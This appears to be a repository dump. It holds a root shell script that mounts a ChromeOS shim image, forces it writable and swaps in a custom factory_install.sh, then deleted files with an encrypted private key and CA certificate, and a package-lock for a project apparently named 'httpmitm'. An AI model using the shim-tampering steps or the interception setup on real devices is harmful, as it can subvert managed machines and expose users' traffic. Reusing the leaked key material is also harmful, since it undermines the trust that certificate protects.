skip=$((offset + ro_compat_offset)) bs=1 count=1 status=none \
2>/dev/null | hexdump -e '1 "%.2x"')
test "${ro_compat_flag}" = "00"
}
# Copyright 2019 The ChromiumOS Authors
# Use of this source code is governed by a BSD-style license that can be
# found in the LICENSE file.
is_ext_filesystem() {
local rootfs=$1
local offset="${2-0}"
local ext_magic_offset=$((0x400 + 56))
local ext_magic=$(sudo dd if="${rootfs}" \
skip=$((offset + ext_magic_offset)) bs=1 count=2 2>/dev/null |
hexdump -e '1/2 "%.4x"')
test "${ext_magic}" = "ef53"
}
enable_rw_mount() {
local rootfs=$1
local offset="${2-0}"
local ro_compat_offset=$((0x464 + 3)) # Set 'highest' byte
is_ext_filesystem "${rootfs}" "${offset}" || return 0
is_ext2_rw_mount_enabled "${rootfs}" "${offset}" && return 0
make_block_device_rw "${rootfs}"
printf '\000' |
sudo dd of="${rootfs}" seek=$((offset + ro_compat_offset)) \
conv=notrunc count=1 bs=1 status=none
# Force all of the file writes to complete, in case it's necessary for
# crbug.com/954188
sync
}
usage() {
echo "Usage: <Shim file>"
}
if [ "$(id -u)" -ne 0 ]
then
echo "Run as root"
exit 0
fi
if [ $# -lt 1 ]
then
usage
exit 0
fi
# Find loop device
MOUNT_DIR=$(mktemp -d)
LOOP_DEV=$(losetup -f)
echo "Script Developer: jeffplays1292@gmail.com"
echo "This tool will modify your shim. There is a chance this tool will render it useless. This tool is in BETA. DO NOT SHARE THIS TOOL! "
echo "It is recommended to make a backup of your shim before continuing (Press ctrl-c in 5 seconds to stop this tool and make a backup)"
sleep 5
losetup -fP "$1"
echo "Using loop dev at $LOOP_DEV"
echo "Mounting at $MOUNT_DIR"
enable_rw_mount "$LOOP_DEV"p1
mount -o rw "$LOOP_DEV"p1 "$MOUNT_DIR"
mkdir -p "$MOUNT_DIR/usr/share/packeddata"
cp -rvf "./out/." "$MOUNT_DIR/usr/share/packeddata"
mkdir -p "$MOUNT_DIR"/usr/bin
umount "$MOUNT_DIR"
enable_rw_mount "$LOOP_DEV"p3
mount "$LOOP_DEV"p3 "$MOUNT_DIR"
cp "inshim.sh" "$MOUNT_DIR/usr/sbin/factory_install.sh"
chmod +x "$MOUNT_DIR/usr/sbin/factory_install.sh"
umount "$MOUNT_DIR"
sync
sync
sync
echo "success!"

BIN
myCA.der Normal file

Binary file not shown.

View File

@ -1,30 +0,0 @@
-----BEGIN ENCRYPTED PRIVATE KEY-----
MIIFLTBXBgkqhkiG9w0BBQ0wSjApBgkqhkiG9w0BBQwwHAQIKrCe7sy6m5MCAggA
MAwGCCqGSIb3DQIJBQAwHQYJYIZIAWUDBAEqBBBCxE7PPCCJ6IY7Y0/r1+6sBIIE
0FDQbdQymYWzCFo96KJMTcLVD1mK0x53uRlnhfyi8OCmdxiNHMufIP/DJ9HHy6oV
xAEZFwYfCjEAP6F1t07YtYB7bA6Kwhb4ewIG25VgiGWlN7lWrrTz/o/dp88Yu+ur
NteJquyDXwDl0ZMw2hhJLFpBL+y/PJ5WW5Xn4mrvTIc+DhYRtDo2ZshoasN2ga5M
2vMmhPdIleA8S+RREpW7XjjOWM3NACohTG40tVLWROJK8KQE02EgCZuNM3tEyUWf
NlKqiEbXJoj7MWtxzp/XZ0vLCm1h2I3pzRhhK3PCGY+aB/7Mv1+q9daM/wAQXHuv
fcPtV5HssId8OBWP1qEP/14vipZy6y3j1N7KwjqOT9Gg26mOOlQNB0Vj58/H1uLI
Fk4KVYo0ayQOCUI057LyIiQ7GeEMX7cr92ZbAfgdLqy3PLsolpba5Q1UTGGrQ6U3
15B/BKI2Fod3tr5CBEaNLm3kcjafxnuvh1+3xiKgWa1LRqMMJfhVLCD6rb1XBV8+
jUUEdn1uiX56p9WZRyuf7tSPxP7yWgvDVt2DqC5mBWvD/F+krFltZJOlstteODEO
U+lIiv3lTDC8MsKpBbGqL1UBVjZb46STDsOpVAtWodxIX4jgTjWDZVd3btejnHnu
FIMmKyg9b3OkKRvC69o3P6CH6zl7p6Z4XaLvte2ujI2cMDrrY3MNClMKs5Cg5ViP
2b3emsqSh8JyuGjc8aU34Q6dIyp5/OBj6jdtNXPDNKMWXTeLFuaV7Q05S8Ju++wH
b7k745LTZlvrn3e+Y5sAJHlDwJKrdincw6+vat+UJ7dUn3r8+1ypyoEjAfwEJ2Pk
p4+HZtYSCG9aRDYfxBPjlaeaqMoL1XwV/nwO09xutrBHUIDE7CDobtIBQzYHwhXE
14az4KKtcJ2w1Pu6/jwjHIYXulCppLNa0npNdOglEW2T0MRPZ+8e2a64kIpquNGc
8HSS1zjA8sBinaYEhiC5C86N0yYeRAkQpGELZ0ExxZZa5H2AjKk1/hL5w1TdenLw
V+CfASw5YvqkhRAQ1sA4GikQiGh2J+w/vWPYOWJ8qncB5iJja/Innk+TwY3a603K
3yFMhHAwj5jdEY+beZuKacxvwlm61lrcbyrRQghyLCTORD/8aQw96L1/g3HVSnt8
L4X7jK90r38ZefW8vTgto942iGpbXEzW+DJPImZoDHQGII9r8fE/d8Tx7IHA/MRn
lm5SM8F7wOff9hBjio1ijOYfMP+6AfjLR63LPjEPPuPrm2bgawv/pXNrxvMw0eFB
h14yqpSkSVU/cy5FmOKR+OJEh2y4n5UAwPzjkHTNyr7ivm4qwO/D3rRb3oaiOLsn
/6zF2JaBn/JDpz/FHG1p8pnPopxJO6ipSrCNE3LnYB2s7B9Jr3VLUTq8JZORWA1q
IfH7KcddSeAX2y0OfPI9JLKogI1b5jfDcYy8hGvh+cWJ76wctg3ZlWJfFflI3+Kg
YoVxrurB2XSuPM8Dv9RilaRiFQlTMxE8HmvOA2XgxmX+D8T+Q3j5Xr/XF2siLNOB
n75apYmdm8NiffeYCPHU0rS/uAwINcwsvzb3kc5LGhHmJRc1Xo/YbCxK7LlHEY3y
6zzYH9o9xT1BPy0oUoDTYZk0BiUnrbylqbc1lDWAld8i
-----END ENCRYPTED PRIVATE KEY-----

View File

@ -1,23 +0,0 @@
-----BEGIN CERTIFICATE-----
MIIDvTCCAqWgAwIBAgIUDPaibF0yfTjKklYAdK+wjQAgq4owDQYJKoZIhvcNAQEL
BQAwbTELMAkGA1UEBhMCVVMxEzARBgNVBAgMClNvbWUtU3RhdGUxITAfBgNVBAoM
GEludGVybmV0IFdpZGdpdHMgUHR5IEx0ZDEmMCQGCSqGSIb3DQEJARYXamVmZnBs
YXlzMTI5MkBnbWFpbC5jb20wIBcNMjUwMzAxMDkwMDQyWhgPMjEyNTAyMDUwOTAw
NDJaMG0xCzAJBgNVBAYTAlVTMRMwEQYDVQQIDApTb21lLVN0YXRlMSEwHwYDVQQK
DBhJbnRlcm5ldCBXaWRnaXRzIFB0eSBMdGQxJjAkBgkqhkiG9w0BCQEWF2plZmZw
bGF5czEyOTJAZ21haWwuY29tMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKC
AQEAtJIYk6aIZeHQIgwMvKA3UOxyHAh8ijlvQQLj4Jz8vOK4W1U/baF9VMAeRBNg
sZ4LcrddfWMlMjunMoUBPKLQiTRziuTfAEwRF0FkKqtRn41OFyu4OENvEUtHioCG
IDPv2QO2TcFv8LuoZSVmJJc8L5LmH0bNLosIxp8v7NYj4XMKefEx+Kar59y+UdcV
TLbGmnLEPAFobHt7zbIJ9DrBaS5pSDUtxbbXss6azO4s+MxoRlTa6VmRNWyADRQb
MkEX0OlrKOgfomA7O+iPKqJ4AbgE/0/unpbx2A/mbOPT7IJRLsmYTAVcKm9R32Td
cch1BNCt+JPnitZnXQdcNnYXKwIDAQABo1MwUTAdBgNVHQ4EFgQUjDtDXFeG5heb
TamH1EMf7qKCNW4wHwYDVR0jBBgwFoAUjDtDXFeG5hebTamH1EMf7qKCNW4wDwYD
VR0TAQH/BAUwAwEB/zANBgkqhkiG9w0BAQsFAAOCAQEAFfNyDFwaytA52zcDB3iH
cGTzDhCQaaavCWkMVcJMcHIitpuegfhMakfklR4yiwB+aeUbfMW8GLcmvIKcPp21
hn7Cg4jFg7pWABuzTDfQV2LbnPnlyZCrir0DV+hfl3AU4Sa+EZ848I0lHOSvJmK7
CVYK9PSfQGNnoo8PfH0Lugicy8Tvp7Defh8eH3lQI3pmQmtRnJ9KurrTgBRo+Xbd
k3rtac4/BXhB19wGVqx2LK6dWgqwF1K8NL+kzyYqqCfGZNMtTlWNkceNYkh+XNx/
wSmqEWAueEXq0NB1tCbRAytsjP4PQDv7R6Bn+yw+GY6XwFP5HLyoQZsTpkt6MQzD
kg==
-----END CERTIFICATE-----

View File

@ -1 +0,0 @@
2A57BA8667604FF02675502A3517B2A488AFBF8A

973
package-lock.json generated
View File

@ -1,973 +0,0 @@
{
"name": "httpmitm",
"lockfileVersion": 3,
"requires": true,
"packages": {
"": {
"dependencies": {
"axios": "^1.7.3",
"express": "^4.19.2",
"node-fetch": "^3.3.2"
}
},
"node_modules/accepts": {
"version": "1.3.8",
"resolved": "https://registry.npmjs.org/accepts/-/accepts-1.3.8.tgz",
"integrity": "sha512-PYAthTa2m2VKxuvSD3DPC/Gy+U+sOA1LAuT8mkmRuvw+NACSaeXEQ+NHcVF7rONl6qcaxV3Uuemwawk+7+SJLw==",
"dependencies": {
"mime-types": "~2.1.34",
"negotiator": "0.6.3"
},
"engines": {
"node": ">= 0.6"
}
},
"node_modules/array-flatten": {
"version": "1.1.1",
"resolved": "https://registry.npmjs.org/array-flatten/-/array-flatten-1.1.1.tgz",
"integrity": "sha512-PCVAQswWemu6UdxsDFFX/+gVeYqKAod3D3UVm91jHwynguOwAvYPhx8nNlM++NqRcK6CxxpUafjmhIdKiHibqg=="
},
"node_modules/asynckit": {
"version": "0.4.0",
"resolved": "https://registry.npmjs.org/asynckit/-/asynckit-0.4.0.tgz",
"integrity": "sha512-Oei9OH4tRh0YqU3GxhX79dM/mwVgvbZJaSNaRk+bshkj0S5cfHcgYakreBjrHwatXKbz+IoIdYLxrKim2MjW0Q=="
},
"node_modules/axios": {
"version": "1.7.9",
"resolved": "https://registry.npmjs.org/axios/-/axios-1.7.9.tgz",
"integrity": "sha512-LhLcE7Hbiryz8oMDdDptSrWowmB4Bl6RCt6sIJKpRB4XtVf0iEgewX3au/pJqm+Py1kCASkb/FFKjxQaLtxJvw==",
"license": "MIT",
"dependencies": {
"follow-redirects": "^1.15.6",
"form-data": "^4.0.0",
"proxy-from-env": "^1.1.0"
}
},
"node_modules/body-parser": {
"version": "1.20.3",
"resolved": "https://registry.npmjs.org/body-parser/-/body-parser-1.20.3.tgz",
"integrity": "sha512-7rAxByjUMqQ3/bHJy7D6OGXvx/MMc4IqBn/X0fcM1QUcAItpZrBEYhWGem+tzXH90c+G01ypMcYJBO9Y30203g==",
"license": "MIT",
"dependencies": {
"bytes": "3.1.2",
"content-type": "~1.0.5",
"debug": "2.6.9",
"depd": "2.0.0",
"destroy": "1.2.0",
"http-errors": "2.0.0",
"iconv-lite": "0.4.24",
"on-finished": "2.4.1",
"qs": "6.13.0",
"raw-body": "2.5.2",
"type-is": "~1.6.18",
"unpipe": "1.0.0"
},
"engines": {
"node": ">= 0.8",
"npm": "1.2.8000 || >= 1.4.16"
}
},
"node_modules/bytes": {
"version": "3.1.2",
"resolved": "https://registry.npmjs.org/bytes/-/bytes-3.1.2.tgz",
"integrity": "sha512-/Nf7TyzTx6S3yRJObOAV7956r8cr2+Oj8AC5dt8wSP3BQAoeX58NoHyCU8P8zGkNXStjTSi6fzO6F0pBdcYbEg==",
"license": "MIT",
"engines": {
"node": ">= 0.8"
}
},
"node_modules/call-bind-apply-helpers": {
"version": "1.0.1",
"resolved": "https://registry.npmjs.org/call-bind-apply-helpers/-/call-bind-apply-helpers-1.0.1.tgz",
"integrity": "sha512-BhYE+WDaywFg2TBWYNXAE+8B1ATnThNBqXHP5nQu0jWJdVvY2hvkpyB3qOmtmDePiS5/BDQ8wASEWGMWRG148g==",
"license": "MIT",
"dependencies": {
"es-errors": "^1.3.0",
"function-bind": "^1.1.2"
},
"engines": {
"node": ">= 0.4"
}
},
"node_modules/call-bound": {
"version": "1.0.3",
"resolved": "https://registry.npmjs.org/call-bound/-/call-bound-1.0.3.tgz",
"integrity": "sha512-YTd+6wGlNlPxSuri7Y6X8tY2dmm12UMH66RpKMhiX6rsk5wXXnYgbUcOt8kiS31/AjfoTOvCsE+w8nZQLQnzHA==",
"license": "MIT",
"dependencies": {
"call-bind-apply-helpers": "^1.0.1",
"get-intrinsic": "^1.2.6"
},
"engines": {
"node": ">= 0.4"
},
"funding": {
"url": "https://github.com/sponsors/ljharb"
}
},
"node_modules/combined-stream": {
"version": "1.0.8",
"resolved": "https://registry.npmjs.org/combined-stream/-/combined-stream-1.0.8.tgz",
"integrity": "sha512-FQN4MRfuJeHf7cBbBMJFXhKSDq+2kAArBlmRBvcvFE5BB1HZKXtSFASDhdlz9zOYwxh8lDdnvmMOe/+5cdoEdg==",
"dependencies": {
"delayed-stream": "~1.0.0"
},
"engines": {
"node": ">= 0.8"
}
},
"node_modules/content-disposition": {
"version": "0.5.4",
"resolved": "https://registry.npmjs.org/content-disposition/-/content-disposition-0.5.4.tgz",
"integrity": "sha512-FveZTNuGw04cxlAiWbzi6zTAL/lhehaWbTtgluJh4/E95DqMwTmha3KZN1aAWA8cFIhHzMZUvLevkw5Rqk+tSQ==",
"dependencies": {
"safe-buffer": "5.2.1"
},
"engines": {
"node": ">= 0.6"
}
},
"node_modules/content-type": {
"version": "1.0.5",
"resolved": "https://registry.npmjs.org/content-type/-/content-type-1.0.5.tgz",
"integrity": "sha512-nTjqfcBFEipKdXCv4YDQWCfmcLZKm81ldF0pAopTvyrFGVbcR6P/VAAd5G7N+0tTr8QqiU0tFadD6FK4NtJwOA==",
"license": "MIT",
"engines": {
"node": ">= 0.6"
}
},
"node_modules/cookie": {
"version": "0.7.1",
"resolved": "https://registry.npmjs.org/cookie/-/cookie-0.7.1.tgz",
"integrity": "sha512-6DnInpx7SJ2AK3+CTUE/ZM0vWTUboZCegxhC2xiIydHR9jNuTAASBrfEpHhiGOZw/nX51bHt6YQl8jsGo4y/0w==",
"license": "MIT",
"engines": {
"node": ">= 0.6"
}
},
"node_modules/cookie-signature": {
"version": "1.0.6",
"resolved": "https://registry.npmjs.org/cookie-signature/-/cookie-signature-1.0.6.tgz",
"integrity": "sha512-QADzlaHc8icV8I7vbaJXJwod9HWYp8uCqf1xa4OfNu1T7JVxQIrUgOWtHdNDtPiywmFbiS12VjotIXLrKM3orQ=="
},
"node_modules/data-uri-to-buffer": {
"version": "4.0.1",
"resolved": "https://registry.npmjs.org/data-uri-to-buffer/-/data-uri-to-buffer-4.0.1.tgz",
"integrity": "sha512-0R9ikRb668HB7QDxT1vkpuUBtqc53YyAwMwGeUFKRojY/NWKvdZ+9UYtRfGmhqNbRkTSVpMbmyhXipFFv2cb/A==",
"engines": {
"node": ">= 12"
}
},
"node_modules/debug": {
"version": "2.6.9",
"resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz",
"integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==",
"license": "MIT",
"dependencies": {
"ms": "2.0.0"
}
},
"node_modules/delayed-stream": {
"version": "1.0.0",
"resolved": "https://registry.npmjs.org/delayed-stream/-/delayed-stream-1.0.0.tgz",
"integrity": "sha512-ZySD7Nf91aLB0RxL4KGrKHBXl7Eds1DAmEdcoVawXnLD7SDhpNgtuII2aAkg7a7QS41jxPSZ17p4VdGnMHk3MQ==",
"engines": {
"node": ">=0.4.0"
}
},
"node_modules/depd": {
"version": "2.0.0",
"resolved": "https://registry.npmjs.org/depd/-/depd-2.0.0.tgz",
"integrity": "sha512-g7nH6P6dyDioJogAAGprGpCtVImJhpPk/roCzdb3fIh61/s/nPsfR6onyMwkCAR/OlC3yBC0lESvUoQEAssIrw==",
"license": "MIT",
"engines": {
"node": ">= 0.8"
}
},
"node_modules/destroy": {
"version": "1.2.0",
"resolved": "https://registry.npmjs.org/destroy/-/destroy-1.2.0.tgz",
"integrity": "sha512-2sJGJTaXIIaR1w4iJSNoN0hnMY7Gpc/n8D4qSCJw8QqFWXf7cuAgnEHxBpweaVcPevC2l3KpjYCx3NypQQgaJg==",
"license": "MIT",
"engines": {
"node": ">= 0.8",
"npm": "1.2.8000 || >= 1.4.16"
}
},
"node_modules/dunder-proto": {
"version": "1.0.1",
"resolved": "https://registry.npmjs.org/dunder-proto/-/dunder-proto-1.0.1.tgz",
"integrity": "sha512-KIN/nDJBQRcXw0MLVhZE9iQHmG68qAVIBg9CqmUYjmQIhgij9U5MFvrqkUL5FbtyyzZuOeOt0zdeRe4UY7ct+A==",
"license": "MIT",
"dependencies": {
"call-bind-apply-helpers": "^1.0.1",
"es-errors": "^1.3.0",
"gopd": "^1.2.0"
},
"engines": {
"node": ">= 0.4"
}
},
"node_modules/ee-first": {
"version": "1.1.1",
"resolved": "https://registry.npmjs.org/ee-first/-/ee-first-1.1.1.tgz",
"integrity": "sha512-WMwm9LhRUo+WUaRN+vRuETqG89IgZphVSNkdFgeb6sS/E4OrDIN7t48CAewSHXc6C8lefD8KKfr5vY61brQlow==",
"license": "MIT"
},
"node_modules/encodeurl": {
"version": "2.0.0",
"resolved": "https://registry.npmjs.org/encodeurl/-/encodeurl-2.0.0.tgz",
"integrity": "sha512-Q0n9HRi4m6JuGIV1eFlmvJB7ZEVxu93IrMyiMsGC0lrMJMWzRgx6WGquyfQgZVb31vhGgXnfmPNNXmxnOkRBrg==",
"license": "MIT",
"engines": {
"node": ">= 0.8"
}
},
"node_modules/es-define-property": {
"version": "1.0.1",
"resolved": "https://registry.npmjs.org/es-define-property/-/es-define-property-1.0.1.tgz",
"integrity": "sha512-e3nRfgfUZ4rNGL232gUgX06QNyyez04KdjFrF+LTRoOXmrOgFKDg4BCdsjW8EnT69eqdYGmRpJwiPVYNrCaW3g==",
"license": "MIT",
"engines": {
"node": ">= 0.4"
}
},
"node_modules/es-errors": {
"version": "1.3.0",
"resolved": "https://registry.npmjs.org/es-errors/-/es-errors-1.3.0.tgz",
"integrity": "sha512-Zf5H2Kxt2xjTvbJvP2ZWLEICxA6j+hAmMzIlypy4xcBg1vKVnx89Wy0GbS+kf5cwCVFFzdCFh2XSCFNULS6csw==",
"license": "MIT",
"engines": {
"node": ">= 0.4"
}
},
"node_modules/es-object-atoms": {
"version": "1.1.1",
"resolved": "https://registry.npmjs.org/es-object-atoms/-/es-object-atoms-1.1.1.tgz",
"integrity": "sha512-FGgH2h8zKNim9ljj7dankFPcICIK9Cp5bm+c2gQSYePhpaG5+esrLODihIorn+Pe6FGJzWhXQotPv73jTaldXA==",
"license": "MIT",
"dependencies": {
"es-errors": "^1.3.0"
},
"engines": {
"node": ">= 0.4"
}
},
"node_modules/escape-html": {
"version": "1.0.3",
"resolved": "https://registry.npmjs.org/escape-html/-/escape-html-1.0.3.tgz",
"integrity": "sha512-NiSupZ4OeuGwr68lGIeym/ksIZMJodUGOSCZ/FSnTxcrekbvqrgdUxlJOMpijaKZVjAJrWrGs/6Jy8OMuyj9ow==",
"license": "MIT"
},
"node_modules/etag": {
"version": "1.8.1",
"resolved": "https://registry.npmjs.org/etag/-/etag-1.8.1.tgz",
"integrity": "sha512-aIL5Fx7mawVa300al2BnEE4iNvo1qETxLrPI/o05L7z6go7fCw1J6EQmbK4FmJ2AS7kgVF/KEZWufBfdClMcPg==",
"license": "MIT",
"engines": {
"node": ">= 0.6"
}
},
"node_modules/express": {
"version": "4.21.2",
"resolved": "https://registry.npmjs.org/express/-/express-4.21.2.tgz",
"integrity": "sha512-28HqgMZAmih1Czt9ny7qr6ek2qddF4FclbMzwhCREB6OFfH+rXAnuNCwo1/wFvrtbgsQDb4kSbX9de9lFbrXnA==",
"license": "MIT",
"dependencies": {
"accepts": "~1.3.8",
"array-flatten": "1.1.1",
"body-parser": "1.20.3",
"content-disposition": "0.5.4",
"content-type": "~1.0.4",
"cookie": "0.7.1",
"cookie-signature": "1.0.6",
"debug": "2.6.9",
"depd": "2.0.0",
"encodeurl": "~2.0.0",
"escape-html": "~1.0.3",
"etag": "~1.8.1",
"finalhandler": "1.3.1",
"fresh": "0.5.2",
"http-errors": "2.0.0",
"merge-descriptors": "1.0.3",
"methods": "~1.1.2",
"on-finished": "2.4.1",
"parseurl": "~1.3.3",
"path-to-regexp": "0.1.12",
"proxy-addr": "~2.0.7",
"qs": "6.13.0",
"range-parser": "~1.2.1",
"safe-buffer": "5.2.1",
"send": "0.19.0",
"serve-static": "1.16.2",
"setprototypeof": "1.2.0",
"statuses": "2.0.1",
"type-is": "~1.6.18",
"utils-merge": "1.0.1",
"vary": "~1.1.2"
},
"engines": {
"node": ">= 0.10.0"
},
"funding": {
"type": "opencollective",
"url": "https://opencollective.com/express"
}
},
"node_modules/fetch-blob": {
"version": "3.2.0",
"resolved": "https://registry.npmjs.org/fetch-blob/-/fetch-blob-3.2.0.tgz",
"integrity": "sha512-7yAQpD2UMJzLi1Dqv7qFYnPbaPx7ZfFK6PiIxQ4PfkGPyNyl2Ugx+a/umUonmKqjhM4DnfbMvdX6otXq83soQQ==",
"funding": [
{
"type": "github",
"url": "https://github.com/sponsors/jimmywarting"
},
{
"type": "paypal",
"url": "https://paypal.me/jimmywarting"
}
],
"dependencies": {
"node-domexception": "^1.0.0",
"web-streams-polyfill": "^3.0.3"
},
"engines": {
"node": "^12.20 || >= 14.13"
}
},
"node_modules/finalhandler": {
"version": "1.3.1",
"resolved": "https://registry.npmjs.org/finalhandler/-/finalhandler-1.3.1.tgz",
"integrity": "sha512-6BN9trH7bp3qvnrRyzsBz+g3lZxTNZTbVO2EV1CS0WIcDbawYVdYvGflME/9QP0h0pYlCDBCTjYa9nZzMDpyxQ==",
"license": "MIT",
"dependencies": {
"debug": "2.6.9",
"encodeurl": "~2.0.0",
"escape-html": "~1.0.3",
"on-finished": "2.4.1",
"parseurl": "~1.3.3",
"statuses": "2.0.1",
"unpipe": "~1.0.0"
},
"engines": {
"node": ">= 0.8"
}
},
"node_modules/follow-redirects": {
"version": "1.15.6",
"resolved": "https://registry.npmjs.org/follow-redirects/-/follow-redirects-1.15.6.tgz",
"integrity": "sha512-wWN62YITEaOpSK584EZXJafH1AGpO8RVgElfkuXbTOrPX4fIfOyEpW/CsiNd8JdYrAoOvafRTOEnvsO++qCqFA==",
"funding": [
{
"type": "individual",
"url": "https://github.com/sponsors/RubenVerborgh"
}
],
"engines": {
"node": ">=4.0"
},
"peerDependenciesMeta": {
"debug": {
"optional": true
}
}
},
"node_modules/form-data": {
"version": "4.0.0",
"resolved": "https://registry.npmjs.org/form-data/-/form-data-4.0.0.tgz",
"integrity": "sha512-ETEklSGi5t0QMZuiXoA/Q6vcnxcLQP5vdugSpuAyi6SVGi2clPPp+xgEhuMaHC+zGgn31Kd235W35f7Hykkaww==",
"dependencies": {
"asynckit": "^0.4.0",
"combined-stream": "^1.0.8",
"mime-types": "^2.1.12"
},
"engines": {
"node": ">= 6"
}
},
"node_modules/formdata-polyfill": {
"version": "4.0.10",
"resolved": "https://registry.npmjs.org/formdata-polyfill/-/formdata-polyfill-4.0.10.tgz",
"integrity": "sha512-buewHzMvYL29jdeQTVILecSaZKnt/RJWjoZCF5OW60Z67/GmSLBkOFM7qh1PI3zFNtJbaZL5eQu1vLfazOwj4g==",
"dependencies": {
"fetch-blob": "^3.1.2"
},
"engines": {
"node": ">=12.20.0"
}
},
"node_modules/forwarded": {
"version": "0.2.0",
"resolved": "https://registry.npmjs.org/forwarded/-/forwarded-0.2.0.tgz",
"integrity": "sha512-buRG0fpBtRHSTCOASe6hD258tEubFoRLb4ZNA6NxMVHNw2gOcwHo9wyablzMzOA5z9xA9L1KNjk/Nt6MT9aYow==",
"engines": {
"node": ">= 0.6"
}
},
"node_modules/fresh": {
"version": "0.5.2",
"resolved": "https://registry.npmjs.org/fresh/-/fresh-0.5.2.tgz",
"integrity": "sha512-zJ2mQYM18rEFOudeV4GShTGIQ7RbzA7ozbU9I/XBpm7kqgMywgmylMwXHxZJmkVoYkna9d2pVXVXPdYTP9ej8Q==",
"license": "MIT",
"engines": {
"node": ">= 0.6"
}
},
"node_modules/function-bind": {
"version": "1.1.2",
"resolved": "https://registry.npmjs.org/function-bind/-/function-bind-1.1.2.tgz",
"integrity": "sha512-7XHNxH7qX9xG5mIwxkhumTox/MIRNcOgDrxWsMt2pAr23WHp6MrRlN7FBSFpCpr+oVO0F744iUgR82nJMfG2SA==",
"license": "MIT",
"funding": {
"url": "https://github.com/sponsors/ljharb"
}
},
"node_modules/get-intrinsic": {
"version": "1.2.7",
"resolved": "https://registry.npmjs.org/get-intrinsic/-/get-intrinsic-1.2.7.tgz",
"integrity": "sha512-VW6Pxhsrk0KAOqs3WEd0klDiF/+V7gQOpAvY1jVU/LHmaD/kQO4523aiJuikX/QAKYiW6x8Jh+RJej1almdtCA==",
"license": "MIT",
"dependencies": {
"call-bind-apply-helpers": "^1.0.1",
"es-define-property": "^1.0.1",
"es-errors": "^1.3.0",
"es-object-atoms": "^1.0.0",
"function-bind": "^1.1.2",
"get-proto": "^1.0.0",
"gopd": "^1.2.0",
"has-symbols": "^1.1.0",
"hasown": "^2.0.2",
"math-intrinsics": "^1.1.0"
},
"engines": {
"node": ">= 0.4"
},
"funding": {
"url": "https://github.com/sponsors/ljharb"
}
},
"node_modules/get-proto": {
"version": "1.0.1",
"resolved": "https://registry.npmjs.org/get-proto/-/get-proto-1.0.1.tgz",
"integrity": "sha512-sTSfBjoXBp89JvIKIefqw7U2CCebsc74kiY6awiGogKtoSGbgjYE/G/+l9sF3MWFPNc9IcoOC4ODfKHfxFmp0g==",
"license": "MIT",
"dependencies": {
"dunder-proto": "^1.0.1",
"es-object-atoms": "^1.0.0"
},
"engines": {
"node": ">= 0.4"
}
},
"node_modules/gopd": {
"version": "1.2.0",
"resolved": "https://registry.npmjs.org/gopd/-/gopd-1.2.0.tgz",
"integrity": "sha512-ZUKRh6/kUFoAiTAtTYPZJ3hw9wNxx+BIBOijnlG9PnrJsCcSjs1wyyD6vJpaYtgnzDrKYRSqf3OO6Rfa93xsRg==",
"license": "MIT",
"engines": {
"node": ">= 0.4"
},
"funding": {
"url": "https://github.com/sponsors/ljharb"
}
},
"node_modules/has-symbols": {
"version": "1.1.0",
"resolved": "https://registry.npmjs.org/has-symbols/-/has-symbols-1.1.0.tgz",
"integrity": "sha512-1cDNdwJ2Jaohmb3sg4OmKaMBwuC48sYni5HUw2DvsC8LjGTLK9h+eb1X6RyuOHe4hT0ULCW68iomhjUoKUqlPQ==",
"license": "MIT",
"engines": {
"node": ">= 0.4"
},
"funding": {
"url": "https://github.com/sponsors/ljharb"
}
},
"node_modules/hasown": {
"version": "2.0.2",
"resolved": "https://registry.npmjs.org/hasown/-/hasown-2.0.2.tgz",
"integrity": "sha512-0hJU9SCPvmMzIBdZFqNPXWa6dqh7WdH0cII9y+CyS8rG3nL48Bclra9HmKhVVUHyPWNH5Y7xDwAB7bfgSjkUMQ==",
"license": "MIT",
"dependencies": {
"function-bind": "^1.1.2"
},
"engines": {
"node": ">= 0.4"
}
},
"node_modules/http-errors": {
"version": "2.0.0",
"resolved": "https://registry.npmjs.org/http-errors/-/http-errors-2.0.0.tgz",
"integrity": "sha512-FtwrG/euBzaEjYeRqOgly7G0qviiXoJWnvEH2Z1plBdXgbyjv34pHTSb9zoeHMyDy33+DWy5Wt9Wo+TURtOYSQ==",
"license": "MIT",
"dependencies": {
"depd": "2.0.0",
"inherits": "2.0.4",
"setprototypeof": "1.2.0",
"statuses": "2.0.1",
"toidentifier": "1.0.1"
},
"engines": {
"node": ">= 0.8"
}
},
"node_modules/iconv-lite": {
"version": "0.4.24",
"resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.4.24.tgz",
"integrity": "sha512-v3MXnZAcvnywkTUEZomIActle7RXXeedOR31wwl7VlyoXO4Qi9arvSenNQWne1TcRwhCL1HwLI21bEqdpj8/rA==",
"license": "MIT",
"dependencies": {
"safer-buffer": ">= 2.1.2 < 3"
},
"engines": {
"node": ">=0.10.0"
}
},
"node_modules/inherits": {
"version": "2.0.4",
"resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz",
"integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==",
"license": "ISC"
},
"node_modules/ipaddr.js": {
"version": "1.9.1",
"resolved": "https://registry.npmjs.org/ipaddr.js/-/ipaddr.js-1.9.1.tgz",
"integrity": "sha512-0KI/607xoxSToH7GjN1FfSbLoU0+btTicjsQSWQlh/hZykN8KpmMf7uYwPW3R+akZ6R/w18ZlXSHBYXiYUPO3g==",
"engines": {
"node": ">= 0.10"
}
},
"node_modules/math-intrinsics": {
"version": "1.1.0",
"resolved": "https://registry.npmjs.org/math-intrinsics/-/math-intrinsics-1.1.0.tgz",
"integrity": "sha512-/IXtbwEk5HTPyEwyKX6hGkYXxM9nbj64B+ilVJnC/R6B0pH5G4V3b0pVbL7DBj4tkhBAppbQUlf6F6Xl9LHu1g==",
"license": "MIT",
"engines": {
"node": ">= 0.4"
}
},
"node_modules/media-typer": {
"version": "0.3.0",
"resolved": "https://registry.npmjs.org/media-typer/-/media-typer-0.3.0.tgz",
"integrity": "sha512-dq+qelQ9akHpcOl/gUVRTxVIOkAJ1wR3QAvb4RsVjS8oVoFjDGTc679wJYmUmknUF5HwMLOgb5O+a3KxfWapPQ==",
"license": "MIT",
"engines": {
"node": ">= 0.6"
}
},
"node_modules/merge-descriptors": {
"version": "1.0.3",
